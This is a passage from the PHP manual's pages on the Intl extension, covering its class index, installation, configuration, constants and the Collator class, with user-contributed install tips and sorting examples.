    • Locale::getPrimaryLanguage — Gets the primary language for the input locale
    • Locale::getRegion — Gets the region for the input locale
    • Locale::getScript — Gets the script for the input locale
    • Locale::lookup — Searches the language tag list for the best match to the language
    • Locale::parseLocale — Returns a key-value array of locale ID subtag elements.
    • Locale::setDefault — sets the default runtime locale
  • Normalizer — The Normalizer class
    • Normalizer::isNormalized — Checks if the provided string is already in the specified normalization form.
    • Normalizer::normalize — Normalizes the input provided and returns the normalized string
  • MessageFormatter — The MessageFormatter class
    • MessageFormatter::create — Constructs a new Message Formatter
    • MessageFormatter::formatMessage — Quick format message
    • MessageFormatter::format — Format the message
    • MessageFormatter::getErrorCode — Get the error code from last operation
    • MessageFormatter::getErrorMessage — Get the error text from the last operation
    • MessageFormatter::getLocale — Get the locale for which the formatter was created.
    • MessageFormatter::getPattern — Get the pattern used by the formatter
    • MessageFormatter::parseMessage — Quick parse input string
    • MessageFormatter::parse — Parse input string according to pattern
    • MessageFormatter::setPattern — Set the pattern used by the formatter
  • IntlCalendar — The IntlCalendar class
    • IntlCalendar::add — Add a (signed) amount of time to a field
    • IntlCalendar::after — Whether this objectʼs time is after that of the passed object
    • IntlCalendar::before — Whether this objectʼs time is before that of the passed object
    • IntlCalendar::clear — Clear a field or all fields
    • IntlCalendar::__construct — Private constructor for disallowing instantiation
    • IntlCalendar::createInstance — Create a new IntlCalendar
    • IntlCalendar::equals — Compare time of two IntlCalendar objects for equality
    • IntlCalendar::fieldDifference — Calculate difference between given time and this objectʼs time
    • IntlCalendar::fromDateTime — Create an IntlCalendar from a DateTime object or string
    • IntlCalendar::get — Get the value for a field
    • IntlCalendar::getActualMaximum — The maximum value for a field, considering the objectʼs current time
    • IntlCalendar::getActualMinimum — The minimum value for a field, considering the objectʼs current time
    • IntlCalendar::getAvailableLocales — Get array of locales for which there is data
    • IntlCalendar::getDayOfWeekType — Tell whether a day is a weekday, weekend or a day that has a transition between the two
    • IntlCalendar::getErrorCode — Get last error code on the object
    • IntlCalendar::getErrorMessage — Get last error message on the object
    • IntlCalendar::getFirstDayOfWeek — Get the first day of the week for the calendarʼs locale
    • IntlCalendar::getGreatestMinimum — Get the largest local minimum value for a field
    • IntlCalendar::getKeywordValuesForLocale — Get set of locale keyword values
    • IntlCalendar::getLeastMaximum — Get the smallest local maximum for a field
    • IntlCalendar::getLocale — Get the locale associated with the object
    • IntlCalendar::getMaximum — Get the global maximum value for a field
    • IntlCalendar::getMinimalDaysInFirstWeek — Get minimal number of days the first week in a year or month can have
    • IntlCalendar::getMinimum — Get the global minimum value for a field
    • IntlCalendar::getNow — Get number representing the current time
    • IntlCalendar::getRepeatedWallTimeOption — Get behavior for handling repeating wall time
    • IntlCalendar::getSkippedWallTimeOption — Get behavior for handling skipped wall time
    • IntlCalendar::getTime — Get time currently represented by the object
    • IntlCalendar::getTimeZone — Get the objectʼs timezone
    • IntlCalendar::getType — Get the calendar type
    • IntlCalendar::getWeekendTransition — Get time of the day at which weekend begins or ends
    • IntlCalendar::inDaylightTime — Whether the objectʼs time is in Daylight Savings Time
    • IntlCalendar::isEquivalentTo — Whether another calendar is equal but for a different time
    • IntlCalendar::isLenient — Whether date/time interpretation is in lenient mode
    • IntlCalendar::isSet — Whether a field is set
    • IntlCalendar::isWeekend — Whether a certain date/time is in the weekend
    • IntlCalendar::roll — Add value to field without carrying into more significant fields
    • IntlCalendar::set — Set a time field or several common fields at once
    • IntlCalendar::setFirstDayOfWeek — Set the day on which the week is deemed to start
    • IntlCalendar::setLenient — Set whether date/time interpretation is to be lenient
    • IntlCalendar::setMinimalDaysInFirstWeek — Set minimal number of days the first week in a year or month can have
    • IntlCalendar::setRepeatedWallTimeOption — Set behavior for handling repeating wall times at negative timezone offset transitions
    • IntlCalendar::setSkippedWallTimeOption — Set behavior for handling skipped wall times at positive timezone offset transitions
    • IntlCalendar::setTime — Set the calendar time in milliseconds since the epoch
    • IntlCalendar::setTimeZone — Set the timezone used by this calendar
    • IntlCalendar::toDateTime — Convert an IntlCalendar into a DateTime object
  • IntlTimeZone — The IntlTimeZone class
    • IntlTimeZone::countEquivalentIDs — Get the number of IDs in the equivalency group that includes the given ID
    • IntlTimeZone::createDefault — Create a new copy of the default timezone for this host
    • IntlTimeZone::createEnumeration — Get an enumeration over time zone IDs associated with the given country or offset
    • IntlTimeZone::createTimeZone — Create a timezone object for the given ID
    • IntlTimeZone::fromDateTimeZone — Create a timezone object from DateTimeZone
    • IntlTimeZone::getCanonicalID — Get the canonical system timezone ID or the normalized custom time zone ID for the given time zone ID
    • IntlTimeZone::getDisplayName — Get a name of this time zone suitable for presentation to the user
    • IntlTimeZone::getDSTSavings — Get the amount of time to be added to local standard time to get local wall clock time
    • IntlTimeZone::getEquivalentID — Get an ID in the equivalency group that includes the given ID
    • IntlTimeZone::getErrorCode — Get last error code on the object
    • IntlTimeZone::getErrorMessage — Get last error message on the object
    • IntlTimeZone::getGMT — Create GMT (UTC) timezone
    • IntlTimeZone::getID — Get timezone ID
    • IntlTimeZone::getOffset — Get the time zone raw and GMT offset for the given moment in time
    • IntlTimeZone::getRawOffset — Get the raw GMT offset (before taking daylight savings time into account
    • IntlTimeZone::getTZDataVersion — Get the timezone data version currently used by ICU
    • IntlTimeZone::hasSameRules — Check if this zone has the same rules and offset as another zone
    • IntlTimeZone::toDateTimeZone — Convert to DateTimeZone object
    • IntlTimeZone::useDaylightTime — Check if this time zone uses daylight savings time
  • IntlDateFormatter — The IntlDateFormatter class
    • IntlDateFormatter::create — Create a date formatter
    • IntlDateFormatter::format — Format the date/time value as a string
    • IntlDateFormatter::formatObject — Formats an object
    • IntlDateFormatter::getCalendar — Get the calendar type used for the IntlDateFormatter
    • IntlDateFormatter::getDateType — Get the datetype used for the IntlDateFormatter
    • IntlDateFormatter::getErrorCode — Get the error code from last operation
    • IntlDateFormatter::getErrorMessage — Get the error text from the last operation.
    • IntlDateFormatter::getLocale — Get the locale used by formatter
    • IntlDateFormatter::getPattern — Get the pattern used for the IntlDateFormatter
    • IntlDateFormatter::getTimeType — Get the timetype used for the IntlDateFormatter
    • IntlDateFormatter::getTimeZoneId — Get the timezone-id used for the IntlDateFormatter
    • IntlDateFormatter::getCalendarObject — Get copy of formatterʼs calendar object
    • IntlDateFormatter::getTimeZone — Get formatterʼs timezone
    • IntlDateFormatter::isLenient — Get the lenient used for the IntlDateFormatter
    • IntlDateFormatter::localtime — Parse string to a field-based time value
    • IntlDateFormatter::parse — Parse string to a timestamp value
    • IntlDateFormatter::setCalendar — Sets the calendar type used by the formatter
    • IntlDateFormatter::setLenient — Set the leniency of the parser
    • IntlDateFormatter::setPattern — Set the pattern used for the IntlDateFormatter
    • IntlDateFormatter::setTimeZoneId — Sets the time zone to use
    • IntlDateFormatter::setTimeZone — Sets formatterʼs timezone
  • ResourceBundle — The ResourceBundle class
    • ResourceBundle::count — Get number of elements in the bundle
    • ResourceBundle::create — Create a resource bundle
    • ResourceBundle::getErrorCode — Get bundle's last error code.
    • ResourceBundle::getErrorMessage — Get bundle's last error message.
    • ResourceBundle::get — Get data from the bundle
    • ResourceBundle::getLocales — Get supported locales
  • Spoofchecker — The Spoofchecker class
    • Spoofchecker::areConfusable — Checks if a given text contains any confusable characters
    • Spoofchecker::__construct — Constructor
    • Spoofchecker::isSuspicious — Checks if a given text contains any suspicious characters
    • Spoofchecker::setAllowedLocales — Locales to use when running checks
    • Spoofchecker::setChecks — Set the checks to run
  • Transliterator — The Transliterator class
    • Transliterator::__construct — Private constructor to deny instantiation
    • Transliterator::create — Create a transliterator
    • Transliterator::createFromRules — Create transliterator from rules
    • Transliterator::createInverse — Create an inverse transliterator
    • Transliterator::getErrorCode — Get last error code
    • Transliterator::getErrorMessage — Get last error message
    • Transliterator::listIDs — Get transliterator IDs
    • Transliterator::transliterate — Transliterate a string
  • IntlBreakIterator — The IntlBreakIterator class
    • IntlBreakIterator::__construct — Private constructor for disallowing instantiation
    • IntlBreakIterator::createCharacterInstance — Create break iterator for boundaries of combining character sequences
    • IntlBreakIterator::createCodePointInstance — Create break iterator for boundaries of code points
    • IntlBreakIterator::createLineInstance — Create break iterator for logically possible line breaks
    • IntlBreakIterator::createSentenceInstance — Create break iterator for sentence breaks
    • IntlBreakIterator::createTitleInstance — Create break iterator for title-casing breaks
    • IntlBreakIterator::createWordInstance — Create break iterator for word breaks
    • IntlBreakIterator::current — Get index of current position
    • IntlBreakIterator::first — Set position to the first character in the text
    • IntlBreakIterator::following — Advance the iterator to the first boundary following specified offset
    • IntlBreakIterator::getErrorCode — Get last error code on the object
    • IntlBreakIterator::getErrorMessage — Get last error message on the object
    • IntlBreakIterator::getLocale — Get the locale associated with the object
    • IntlBreakIterator::getPartsIterator — Create iterator for navigating fragments between boundaries
    • IntlBreakIterator::getText — Get the text being scanned
    • IntlBreakIterator::isBoundary — Tell whether an offset is a boundaryʼs offset
    • IntlBreakIterator::last — Set the iterator position to index beyond the last character
    • IntlBreakIterator::next — Advance the iterator the next boundary
    • IntlBreakIterator::preceding — Set the iterator position to the first boundary before an offset
    • IntlBreakIterator::previous — Set the iterator position to the boundary immediately before the current
    • IntlBreakIterator::setText — Set the text being scanned
  • IntlRuleBasedBreakIterator — The IntlRuleBasedBreakIterator class
    • IntlRuleBasedBreakIterator::__construct — Create iterator from ruleset
    • IntlRuleBasedBreakIterator::getBinaryRules — Get the binary form of compiled rules
    • IntlRuleBasedBreakIterator::getRules — Get the rule set used to create this object
    • IntlRuleBasedBreakIterator::getRuleStatus — Get the largest status value from the break rules that determined the current break position
    • IntlRuleBasedBreakIterator::getRuleStatusVec — Get the status values from the break rules that determined the current break position
  • IntlCodePointBreakIterator — The IntlCodePointBreakIterator class
    • IntlCodePointBreakIterator::getLastCodePoint — Get last code point passed over after advancing or receding the iterator
  • IntlPartsIterator — The IntlPartsIterator class
    • IntlPartsIterator::getBreakIterator — Get IntlBreakIterator backing this parts iterator
  • UConverter — The UConverter class
    • UConverter::__construct — Create UConverter object
    • UConverter::convert — Convert string from one charset to another
    • UConverter::fromUCallback — Default "from" callback function
    • UConverter::getAliases — Get the aliases of the given name
    • UConverter::getAvailable — Get the available canonical converter names
    • UConverter::getDestinationEncoding — Get the destination encoding
    • UConverter::getDestinationType — Get the destination converter type
    • UConverter::getErrorCode — Get last error code on the object
    • UConverter::getErrorMessage — Get last error message on the object
    • UConverter::getSourceEncoding — Get the source encoding
    • UConverter::getSourceType — Get the source convertor type
    • UConverter::getStandards — Get standards associated to converter names
    • UConverter::getSubstChars — Get substitution chars
    • UConverter::reasonText — Get string representation of the callback reason
    • UConverter::setDestinationEncoding — Set the destination encoding
    • UConverter::setSourceEncoding — Set the source encoding
    • UConverter::setSubstChars — Set the substitution chars
    • UConverter::toUCallback — Default "to" callback function
    • UConverter::transcode — Convert string from one charset to another
  • Grapheme Functions
    • grapheme_extract — Function to extract a sequence of default grapheme clusters from a text buffer, which must be encoded in UTF-8.
    • grapheme_stripos — Find position (in grapheme units) of first occurrence of a case-insensitive string
    • grapheme_stristr — Returns part of haystack string from the first occurrence of case-insensitive needle to the end of haystack.
    • grapheme_strlen — Get string length in grapheme units
    • grapheme_strpos — Find position (in grapheme units) of first occurrence of a string
    • grapheme_strripos — Find position (in grapheme units) of last occurrence of a case-insensitive string
    • grapheme_strrpos — Find position (in grapheme units) of last occurrence of a string
    • grapheme_strstr — Returns part of haystack string from the first occurrence of needle to the end of haystack.
    • grapheme_substr — Return part of a string
  • IDN Functions
    • idn_to_ascii — Convert domain name to IDNA ASCII form.
    • idn_to_unicode — Alias of idn_to_utf8
    • idn_to_utf8 — Convert domain name from IDNA ASCII to Unicode.
  • IntlException — Exception class for intl errors
  • IntlIterator — The IntlIterator class
    • IntlIterator::current — Get the current element
    • IntlIterator::key — Get the current key
    • IntlIterator::next — Move forward to the next element
    • IntlIterator::rewind — Rewind the iterator to the first element
    • IntlIterator::valid — Check if current position is valid
  • intl Functions
    • intl_error_name — Get symbolic name for a given error code
    • intl_get_error_code — Get the last error code
    • intl_get_error_message — Get description of the last error
    • intl_is_failure — Check whether the given error code indicates failure

User Contributed Notes

There are no user contributed notes for this page.


Introduction

Internationalization extension (further is referred as Intl) is a wrapper for » ICU library, enabling PHP programmers to perform » UCA-conformant collation and date/time/number/currency formatting in their scripts.

It tends to closely follow ICU APIs, so that people having experience working with ICU in either C/C++ or Java could easily use the PHP API. Also, this way ICU documentation would be useful to understand various ICU functions.

Intl consists of several modules, each of them exposes the corresponding ICU API:

  • Collator: provides string comparison capability with support for appropriate locale-sensitive sort orderings.
  • Number Formatter: allows to display number according to the localized format or given pattern or set of rules, and to parse strings into numbers.
  • Message Formatter: allows to create messages incorporating data (such as numbers or dates) formatted according to given pattern and locale rules, and parse messages extracting data from them.
  • Normalizer: provides a function to transform text into one of the Unicode normalization forms, and provides a routine to test if a given string is already normalized.
  • Locale: provides interaction with locale identifiers in the form of functions to get subtags from locale identifier; parse, compose, match(lookup and filter) locale identifiers.

Links

  • » Miscellaneous ICU docs

  • » ICU User Guide

  • » Unicode Collation Algorithm

User Contributed Notes

There are no user contributed notes for this page.


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

dtrebbien at gmail dot com 12-Dec-2010 07:42
Debian Squeeze users can install the intl extension with:

sudo apt-get install php5-intl
hans 14-Jul-2010 01:52
2 Thinks what helped me.

1. test if it works with on command line "php -i | grep intl"
if it's not correctly installed and doesn't work it will show nothing.
2. I created the file /etc/php5/conf.d/intl.ini and only put the line extension=intl.so in that file (restart apache and done)
dtrebbien at gmail dot com 26-Oct-2009 12:07
To install the intl extension on a Debian Lenny system, the following commands (as `root`) worked perfectly for me:
apt-get install php-pear php5-dev dh-make-php fakeroot libicu38 libicu-dev xsltproc
pear channel-update pear.php.net
pear upgrade PEAR
pecl channel-update pecl.php.net
pear install intl

Probably the first line can be replaced with just:
apt-get install php-pear php5-dev libicu38 libicu-dev

But, you may need some of the other packages.
s dot marechal at jejik dot com 25-Jul-2008 09:10
I have written a simple tutorial on how you can install the intl extension for PHP5 on Debian Lenny. It probably also works on anything derived from it, such as the recent Ubuntus or Linux Mint. You can find it at:

http://www.jejik.com/articles/2008/07/howto_build_and_install_the_intl_pecl_extension_for_php5_in_debian/

(This URL should be on one line of course)


Requirements

To build the extension you need to install the » ICU library, version 4.0.0 or newer is required.

This extension is bundled with PHP as of PHP version 5.3.0. Alternatively, the PECL version of this extension may be used with all PHP versions greater than 5.2.0 (5.2.4+ recommended).

User Contributed Notes

There are no user contributed notes for this page.


Installation

This extension may be installed using the bundled version as of PHP 5.3.0, or as a PECL extension as of PHP 5.2.0. In other words, there are two methods to install the intl extension.

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/intl.

Alternatively, --enable-intl will enable the bundled version while compiling PHP.

If your ICU is installed to a non-standard directory then you might want to specify its location in LD_LIBRARY_PATH environment variable so that dynamic linker can find it:

$ export LD_LIBRARY_PATH=/opt/icu/lib

Otherwise, if PHP and ICU are installed to their default locations, then the additional options to `configure' are not needed.

User Contributed Notes

jonwebb at tecbiz dot eu 29-Apr-2014 11:41
On windows servers, open your php.ini (which should be in Program Files/PHP), and simply uncomment the extension.
extension=php_intl.dll
Restart IIS Webserver - done.
jltupac at hotmail dot com 17-May-2013 02:03
Ubuntu:
sudo apt-get install php5-intl
Epaphus 05-Mar-2013 07:39
You need to install the library.

yum install libicu-devel

Will get it working with "pecl install intl"
spectrumcat 13-Feb-2013 07:45
On Fedora 18 "pecl install intl" wasn't working after "yum -y install icu" so I had to run "yum -y install php-intl" instead
xgretsch 04-Apr-2011 12:46
I'm running on Mac OS X using a MacPorts install. According to this page, my vanilla version of PHP 5.3.5 from MacPorts should include the intl functions by default. As far as I can see from phpinfo(), the MacPorts version did not disable it. However, the functions aren't visible and don't work.

It seems to require an additional:

sudo port install php5-intl

After which everything bursts into life.


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

Intl Configure Options
Name | Default | Changeable | Changelog
intl.default_locale |  | PHP_INI_ALL |
intl.error_level | 0 | PHP_INI_ALL |
intl.use_exceptions | 0 | PHP_INI_ALL | Available since PHP 5.5 and PECL 3.0.0a1

Here's a short explanation of the configuration directives.

intl.default_locale string

The locale that will be used in intl functions when none is specified (either by omitting the corresponding argument or by passing NULL). These are ICU locales, not system locales. The built-in ICU locales and their data can be explored at » http://demo.icu-project.org/icu-bin/locexp.

The default value is empty, which forces the usage of ICU's default locale. Once set, the ini setting cannot be reset to this default value. It is not recommended that this default be relied on, as its effective value depends on the server's environment.

intl.error_level integer

The level of the error messages generated when an error occurs in ICU functions. This is a PHP error level, such as E_WARNING. It can be set to 0 in order to inhibit the messages. This does not affect the return values indicating error or the values returned by intl_get_error_code() or by the class specific methods for retrieving error codes and messages. Choosing E_ERROR will terminate the script whenever an error condition is found on intl classes.

The default value is 0.

intl.use_exceptions integer

If set to true, an exception will be raised whenever an error occurs in an intl function. The exception will be of type IntlException. This is possibly in addition to the error message generated due to intl.error_level.

The default value is FALSE.

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

INTL_MAX_LOCALE_LEN (integer)
Limit on locale length, set to 80 in PHP code. Locale names longer than this limit will not be accepted.
IDNA_DEFAULT (integer)
Prohibit processing of unassigned codepoints in the input for IDN functions and do not check if the input conforms to domain name ASCII rules.
IDNA_ALLOW_UNASSIGNED (integer)
Allow processing of unassigned codepoints in the input for IDN functions.
IDNA_USE_STD3_RULES (integer)
Check if the input for IDN functions conforms to domain name ASCII rules.
IDNA_CHECK_BIDI (integer)
Check whether the input conforms to the BiDi rules. Ignored by the IDNA2003 implementation, which always performs this check.
IDNA_CHECK_CONTEXTJ (integer)
Check whether the input conforms to the CONTEXTJ rules. Ignored by the IDNA2003 implementation, as this check is new in IDNA2008.
IDNA_NONTRANSITIONAL_TO_ASCII (integer)
Option for nontransitional processing in idn_to_ascii(). Transitional processing is activated by default. This option is ignored by the IDNA2003 implementation.
IDNA_NONTRANSITIONAL_TO_UNICODE (integer)
Option for nontransitional processing in idn_to_utf8(). Transitional processing is activated by default. This option is ignored by the IDNA2003 implementation.
INTL_IDNA_VARIANT_2003 (integer)
Use IDNA 2003 algorithm in idn_to_utf8() and idn_to_ascii(). This is the default.
INTL_IDNA_VARIANT_UTS46 (integer)
Use UTS #46 algorithm in idn_to_utf8() and idn_to_ascii().
IDNA_ERROR_EMPTY_LABEL (integer)
IDNA_ERROR_LABEL_TOO_LONG (integer)
IDNA_ERROR_DOMAIN_NAME_TOO_LONG (integer)
IDNA_ERROR_LEADING_HYPHEN (integer)
IDNA_ERROR_TRAILING_HYPHEN (integer)
IDNA_ERROR_HYPHEN_3_4 (integer)
IDNA_ERROR_LEADING_COMBINING_MARK (integer)
IDNA_ERROR_DISALLOWED (integer)
IDNA_ERROR_PUNYCODE (integer)
IDNA_ERROR_LABEL_HAS_DOT (integer)
IDNA_ERROR_INVALID_ACE_LABEL (integer)
IDNA_ERROR_BIDI (integer)
IDNA_ERROR_CONTEXTJ (integer)
Errors reported in a bitset returned by the UTS #46 algorithm in idn_to_utf8() and idn_to_ascii().

User Contributed Notes

There are no user contributed notes for this page.


Examples

Table of Contents

  • Basic usage of this extension

User Contributed Notes

There are no user contributed notes for this page.


Basic usage of this extension

Each module provides two kind of APIs: a procedural one and an object oriented one. Both are actually identical and described in the corresponding document.

Note:

All input strings must be in UTF-8 encoding. All output strings are also in UTF-8.

Example #1 Example of using the procedural API

<?php
$coll  = collator_create('en_US');
$result = collator_compare($coll, "string#1", "string#2");
?>

Example #2 Example of using the object-oriented API

<?php
$coll = new Collator('en_US');
$al   = $coll->getLocale(Locale::ACTUAL_LOCALE);
echo "Actual locale: $al\n";

$formatter = new NumberFormatter('en_US', NumberFormatter::DECIMAL);
echo $formatter->format(1234567);
?>

User Contributed Notes

RoboTamer 06-Jun-2012 05:26
Get the default currency for a country:

<?php
$formatter = new NumberFormatter('de_DE', NumberFormatter::CURRENCY);
echo $formatter->getTextAttribute(NumberFormatter::CURRENCY_CODE);

$formatter = new NumberFormatter('en_US', NumberFormatter::CURRENCY);
echo $formatter->getTextAttribute(NumberFormatter::CURRENCY_CODE);

$formatter = new NumberFormatter('ja_JP', NumberFormatter::CURRENCY);
echo $formatter->getTextAttribute(NumberFormatter::CURRENCY_CODE);
?>


The Collator class

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

Introduction

Provides string comparison capability with support for appropriate locale-sensitive sort orderings.

Class synopsis

Collator {
/* Methods */
public __construct ( string $locale )
public bool asort ( array &$arr [, int $sort_flag ] )
public int compare ( string $str1 , string $str2 )
public static Collator create ( string $locale )
public int getAttribute ( int $attr )
public int getErrorCode ( void )
public string getErrorMessage ( void )
public string getLocale ( int $type )
public string getSortKey ( string $str )
public int getStrength ( void )
public bool setAttribute ( int $attr , int $val )
public bool setStrength ( int $strength )
public bool sortWithSortKeys ( array &$arr )
public bool sort ( array &$arr [, int $sort_flag ] )
}

Predefined Constants

Collator::FRENCH_COLLATION (integer)

Sort strings with different accents from the back of the string. This attribute is automatically set to On for the French locales and a few others. Users normally would not need to explicitly set this attribute. There is a string comparison performance cost when it is set On, but sort key length is unaffected. Possible values are:

  • Collator::ON
  • Collator::OFF(default)
  • Collator::DEFAULT_VALUE

Example #1 FRENCH_COLLATION rules

  • F=OFF cote < coté < côte < côté
  • F=ON cote < côte < coté < côté

Collator::ALTERNATE_HANDLING (integer)

The Alternate attribute is used to control the handling of the so called variable characters in the UCA: whitespace, punctuation and symbols. If Alternate is set to NonIgnorable (N), then differences among these characters are of the same importance as differences among letters. If Alternate is set to Shifted (S), then these characters are of only minor importance. The Shifted value is often used in combination with Strength set to Quaternary. In such a case, whitespace, punctuation, and symbols are considered when comparing strings, but only if all other aspects of the strings (base letters, accents, and case) are identical. If Alternate is not set to Shifted, then there is no difference between a Strength of 3 and a Strength of 4. For more information and examples, see Variable_Weighting in the » UCA. The reason the Alternate values are not simply On and Off is that additional Alternate values may be added in the future. The UCA option Blanked is expressed with Strength set to 3, and Alternate set to Shifted. The default for most locales is NonIgnorable. If Shifted is selected, it may be slower if there are many strings that are the same except for punctuation; sort key length will not be affected unless the strength level is also increased.

Possible values are:

  • Collator::NON_IGNORABLE(default)
  • Collator::SHIFTED
  • Collator::DEFAULT_VALUE

Example #2 ALTERNATE_HANDLING rules

  • S=3, A=N di Silva < Di Silva < diSilva < U.S.A. < USA
  • S=3, A=S di Silva = diSilva < Di Silva < U.S.A. = USA
  • S=4, A=S di Silva < diSilva < Di Silva < U.S.A. < USA

Collator::CASE_FIRST (integer)

The Case_First attribute is used to control whether uppercase letters come before lowercase letters or vice versa, in the absence of other differences in the strings. The possible values are Uppercase_First (U) and Lowercase_First (L), plus the standard Default and Off. There is almost no difference between the Off and Lowercase_First options in terms of results, so typically users will not use Lowercase_First: only Off or Uppercase_First. (People interested in the detailed differences between X and L should consult the Collation Customization). Specifying either L or U won't affect string comparison performance, but will affect the sort key length.

Possible values are:

  • Collator::OFF(default)
  • Collator::LOWER_FIRST
  • Collator::UPPER_FIRST
  • Collator:DEFAULT

Example #3 CASE_FIRST rules

  • C=X or C=L "china" < "China" < "denmark" < "Denmark"
  • C=U "China" < "china" < "Denmark" < "denmark"

Collator::CASE_LEVEL (integer)

The Case_Level attribute is used when ignoring accents but not case. In such a situation, set Strength to be Primary, and Case_Level to be On. In most locales, this setting is Off by default. There is a small string comparison performance and sort key impact if this attribute is set to be On.

Possible values are:

  • Collator::OFF(default)
  • Collator::ON
  • Collator::DEFAULT_VALUE

Example #4 CASE_LEVEL rules

  • S=1, E=X role = Role = rôle
  • S=1, E=O role = rôle < Role

Collator::NORMALIZATION_MODE (integer)

The Normalization setting determines whether text is thoroughly normalized or not in comparison. Even if the setting is off (which is the default for many locales), text as represented in common usage will compare correctly (for details, see UTN #5). Only if the accent marks are in noncanonical order will there be a problem. If the setting is On, then the best results are guaranteed for all possible text input. There is a medium string comparison performance cost if this attribute is On, depending on the frequency of sequences that require normalization. There is no significant effect on sort key length. If the input text is known to be in NFD or NFKD normalization forms, there is no need to enable this Normalization option.

Possible values are:

  • Collator::OFF(default)
  • Collator::ON
  • Collator::DEFAULT_VALUE

Collator::STRENGTH (integer)

The ICU Collation Service supports many levels of comparison (named "Levels", but also known as "Strengths"). Having these categories enables ICU to sort strings precisely according to local conventions. However, by allowing the levels to be selectively employed, searching for a string in text can be performed with various matching conditions. For more detailed information, see collator_set_strength() chapter.

Possible values are:

  • Collator::PRIMARY
  • Collator::SECONDARY
  • Collator::TERTIARY(default)
  • Collator::QUATERNARY
  • Collator::IDENTICAL
  • Collator::DEFAULT_VALUE

Collator::HIRAGANA_QUATERNARY_MODE (integer)

Compatibility with JIS x 4061 requires the introduction of an additional level to distinguish Hiragana and Katakana characters. If compatibility with that standard is required, then this attribute should be set On, and the strength set to Quaternary. This will affect sort key length and string comparison string comparison performance.

Possible values are:

  • Collator::OFF(default)
  • Collator::ON
  • Collator::DEFAULT_VALUE

Collator::NUMERIC_COLLATION (integer)

When turned on, this attribute generates a collation key for the numeric value of substrings of digits. This is a way to get '100' to sort AFTER '2'.

Possible values are:

  • Collator::OFF(default)
  • Collator::ON
  • Collator::DEFAULT_VALUE

Collator::DEFAULT_VALUE (integer)
Collator::PRIMARY (integer)
Collator::SECONDARY (integer)
Collator::TERTIARY (integer)
Collator::DEFAULT_STRENGTH (integer)
Collator::QUATERNARY (integer)
Collator::IDENTICAL (integer)
Collator::OFF (integer)
Collator::ON (integer)
Collator::SHIFTED (integer)
Collator::NON_IGNORABLE (integer)
Collator::LOWER_FIRST (integer)
Collator::UPPER_FIRST (integer)

Table of Contents

  • Collator::asort — Sort array maintaining index association
  • Collator::compare — Compare two Unicode strings
  • Collator::__construct — Create a collator
  • Collator::create — Create a collator
  • Collator::getAttribute — Get collation attribute value
  • Collator::getErrorCode — Get collator's last error code
  • Collator::getErrorMessage — Get text for collator's last error code
  • Collator::getLocale — Get the locale name of the collator
  • Collator::getSortKey — Get sorting key for a string
  • Collator::getStrength — Get current collation strength
  • Collator::setAttribute — Set collation attribute
  • Collator::setStrength — Set collation strength
  • Collator::sortWithSortKeys — Sort array using specified collator and sort keys
  • Collator::sort — Sort array using specified collator

User Contributed Notes

There are no user contributed notes for this page.


Sort array maintaining index association

  • « Collator
  • Collator::compare »
  • PHP Manual
  • Collator
  • Sort array maintaining index association

Collator::asort

collator_asort

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

Collator::asort -- collator_asort — Sort array maintaining index association

Description

Object oriented style

public bool Collator::asort ( array &$arr [, int $sort_flag ] )

Procedural style

bool collator_asort ( Collator $coll , array &$arr [, int $sort_flag ] )

This function sorts an array such that array indices maintain their correlation with the array elements they are associated with. This is used mainly when sorting associative arrays where the actual element order is significant. Array elements will have sort order according to current locale rules.

Equivalent to standard PHP asort().

Parameters

coll

Collator object.

arr

Array of strings to sort.

sort_flag

Optional sorting type, one of the following:

  • Collator::SORT_REGULAR - compare items normally (don't change types)

  • Collator::SORT_NUMERIC - compare items numerically

  • Collator::SORT_STRING - compare items as strings

Default $sort_flag value is Collator::SORT_REGULAR. It is also used if an invalid $sort_flag value has been specified.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 collator_asort()example

<?php
$coll = collator_create( 'en_US' );
$arr = array(
     'a' => '100',
     'b' => '50',
     'c' => '7'
);
collator_asort( $coll, $arr, Collator::SORT_NUMERIC );
var_export( $arr );

collator_asort( $coll, $arr, Collator::SORT_STRING );
var_export( $arr );
?>

The above example will output:

array (
  'c' => '7',
  'b' => '50',
  'a' => '100',
)array (
  'a' => '100',
  'b' => '50',
  'c' => '7',
)

See Also

  • Collator constants
  • collator_sort() - Sort array using specified collator
  • collator_sort_with_sort_keys() - Sort array using specified collator and sort keys

User Contributed Notes

alix dot axel at NOSPAM dot gmail dot com 20-Feb-2011 04:31
For those of you who are looking for a way to integrate natural sorting with the UCA rules this hack seems to work:

<?php

$array = array
(
    '1', '100',
    'al', 'be',
    'Alpha', 'Beta',
    'Álpha', 'Àlpha', 'Älpha',
    'かたかな',
    'img1.png', 'img2.png',
    'img10.png', 'img20.png'
);

echo '<pre>';
print_r(sortIntl($array, true));
echo '</pre>';

function sortIntl($array, $natural = true)
{
    $data = $array;

    if ($natural === true)
    {
        $data = preg_replace_callback('~([0-9]+)~', 'natsortIntl', $data);
    }

    collator_asort(collator_create('root'), $data);

    return array_intersect_key($array, $data);
}

function natsortIntl($number)
{
    return sprintf('%032d', $number);
}

?>

Output:

Array
(
    [0] => 1
    [1] => 100
    [2] => al
    [3] => be
    [4] => Alpha
    [5] => Beta
    [6] => Álpha
    [7] => Àlpha
    [8] => Älpha
    [9] => かたかな
    [10] => img1.png
    [11] => img2.png
    [12] => img10.png
    [13] => img20.png
)


Compare two Unicode strings

  • « Collator::asort
  • Collator::__construct »
  • PHP Manual
  • Collator
  • Compare two Unicode strings

Collator::compare

collator_compare

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

Collator::compare -- collator_compare — Compare two Unicode strings

Description

Object oriented style

public int Collator::compare ( string $str1 , string $str2 )

Procedural style

int collator_compare ( Collator $coll , string $str1 , string $str2 )

Compare two Unicode strings according to collation rules.

Parameters

coll

Collator object.

str1

The first string to compare.

str2

The second string to compare.

Return Values

Return comparison result:

  • 1 if str1 is greater than str2 ;

  • 0 if str1 is equal to str2;

  • -1 if str1 is less than str2 .

On error boolean FALSE is returned.

Warning

This function may return Boolean FALSE, but may also return a non-Boolean value which evaluates to FALSE. Please read the section on Booleans for more information. Use the === operator for testing the return value of this function.

Examples
